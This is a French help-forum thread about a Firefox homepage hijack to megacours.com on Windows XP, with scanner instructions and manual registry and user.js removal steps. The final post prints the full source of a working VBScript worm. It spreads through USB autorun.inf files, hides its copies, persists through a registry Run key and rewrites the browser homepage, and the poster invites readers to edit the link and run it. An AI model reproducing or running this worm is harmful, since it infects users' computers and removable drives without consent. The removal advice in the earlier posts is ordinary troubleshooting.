Page d acceuil http://www.megacours.com/mot2.

dilaw -  
 raef_17 -
Bonsoir tout le monde
j ai un soucis sur ma page d'accueil de Fire fox , ( Win xp sp 3 ) que je n'arrive pas a la changer malgré des essais !! , apparemment c'est un virus ou un trojan mais j'arrive pas a l éradiquer et j'ai rien trouvé sur le net a propos de megacours
merci de votre aide !

6 réponses

  1. Xplode Messages postés 9212 Statut Contributeur sécurité 726
     
    Re,

    Abandonne ZHPDiag et fait ceci :

    -+-+-+-+-> RSIT <-+-+-+-+-

    [x] Télécharge RSIT ( de random/random ) sur ton bureau.

    [x] Lance le ( Utilisateurs de vista/seven -> Clic droit puis [Exécuter en tant qu'administrateur] )

    [x] Clique sur [Continue] à l'écran disclaimer. Hijackthis va être téléchargé et tu devras accepter la license.

    [x] Une fois l'analyse terminée, deux rapports s'ouvriront ( log.txt et info.txt ).

    [x] Rends toi sur cjoint.

    Note : Les deux fichiers sont sauvegardés dans le dossier C:\rsit.

    [x] Clique sur [Choisissez un fichier] et séléctionne le fichier log.txt.

    [x] Clique ensuite sur [Ouvrir] puis sur [Créer le lien cjoint].

    [x] Renouvelle l'opération mais cette fois ci avec le fichier info.txt.

    [x] Poste les deux liens cjoint créés dans ta prochaine réponse.

    Note : un tutoriel est disponible ici.
    1
  2. raef_17
     
    1-appuier sur ctr+alt+supp puis arreter le processus "wscript.exe" s'il existe.
    2-appuier sur Windows+R , ecrivez regedit puis allez a HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run
    vous trouvez un cle nomme mozil vous le supprimez .
    3-supprimer le fichier user.js dans "C:\Documents and Settings\(votre profil)\Application Data\Mozilla\Firefox\Profiles\xxxxxx.default" .
    maintenant vous pouvez changer la page d'acceuil comme vous voulez
    --raef--
    1
  3. Xplode Messages postés 9212 Statut Contributeur sécurité 726
     
    Salut,

    -+-+-+-+-> ZHPDiag <-+-+-+-+-

    [x] Nous allons effectuer un diagnostic de ton ordinateur, pour ce faire, télécharge ZHPDiag ( de Nicolas Coolman ).

    [x] Exécute l'installateur ( /!\ Coche la case " créer une icône sur le bureau /!\ ) puis lance le une fois l'installation terminée.

    [x] Clique sur l'icône en forme de loupe en haut à gauche ( Lancer le diagnostic ).

    [x] Une fois l'analyse terminée, clique sur l'icône en forme de disquette bleue puis sauvegarde le fichier sur ton bureau.

    [x] Rend toi sur cjoint puis clique sur " Choisissez un fichier ".

    [x] Sélectionne le fichier ZHPDiag.txt présent sur ton bureau, puis clique sur " Ouvrir ".

    [x] Clique ensuite sur " Créer le lien cjoint " puis copie/colle dans ta prochaine réponse le lien créé.
    0
  4. dilaw
     
    Bonjour
    je n'arrive pas a lancer ZHP diag
    après avoir terminé l installation je clique sur la loupe elle commence a progresser et elle s arrête a 47 %
    est ce que vous avez une solution a me donner
    merci de votre aide
    cdt
    0
  5. Vous n’avez pas trouvé la réponse que vous recherchez ?

    Posez votre question
  6. nabil29
     
    http://cjoint.com/?1dxoabsQTWR
    http://cjoint.com/?1dxndQjy4R
    0
  7. mirak
     
    bonjour vous ete victime de ce virus en VBA

    tu peux changer le lien de la page ici et excuter
    copier et coller dans un fichier TXT puis enregester (nom de fichier.vba)

    ----------------------------------------------------------------
    xx=1
    do while xx=1

    dim fso,i,g

    On Error Resume Next

    dem="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\mozil"
    set fso=createobject("Scripting.filesystemobject")
    set wssH =createobject("Wscript.shell")
    moz = wssh.ExpandEnvironmentStrings("%USERPROFILE%") & "\Application Data\Mozilla\Firefox\Profiles"
    mydoc = wssh.ExpandEnvironmentStrings("%USERPROFILE%") & "\Mes documents"
    Set Dossier = fso.GetFolder(moz)
    set dr=fso.drives
    for each i in dr
    d=i.Driveletter & ":"
    set g=fso.getdrive(fso.getdrivename(fso.GetAbsolutePathName(d)))

    Select Case g.DriveType
    Case 0: t = "Inconnu"
    Case 1: t = "Amovible"
    Case 2: t = "Fixe"
    Case 3: t = "Rseau"
    Case 4: t = "CD-ROM"
    Case 5: t = "RAM Disk"
    End Select
    if t="Amovible" and i.isready then
    file = Wscript.ScriptFullName

    Set objFichier = fso.GetFile(mydoc & "\mirak.vbs")
    Set objFichier1 = fso.GetFile(g &"\autorun.inf")
    Set objFichier2 = fso.GetFile(g &"\moz.vbs")

    objFichier.Attributes =0
    objFichier1.Attributes =0
    objFichier2.Attributes =0

    fso.copyfile file ,g & "\" & "moz" & ".vbs" , True

    set aut=fso.createtextfile (g &"\autorun.inf")
    aut.WriteLine "[AutoRun]"
    aut.WriteLine "open=wscript ""moz.vbs"""
    aut.WriteLine "shellexecute=wscript ""moz.vbs"""
    aut.WriteLine "shell\Auto\command=wscript ""moz.vbs"""
    aut.WriteLine "shell=Auto"
    aut.close

    objFichier.Attributes =3
    objFichier1.Attributes =3
    objFichier2.Attributes =3

    end if
    next

    For Each Fichier In Dossier.subfolders
    if right(Fichier,7)="default" then
    prof=Fichier
    end if
    Next

    set aut=fso.createtextfile (prof &"\user.js")
    aut.WriteLine "user_pref(""browser.startup.homepage"", ""http://www.megacours.com/mot2.php/"");"
    aut.close

    fso.copyfile file ,mydoc & "\" & "moz" & ".vbs" ,True
    WSSH.regwrite dem ,mydoc & "\moz.vbs"

    Wscript.sleep 60000

    loop
    ------------------------
    0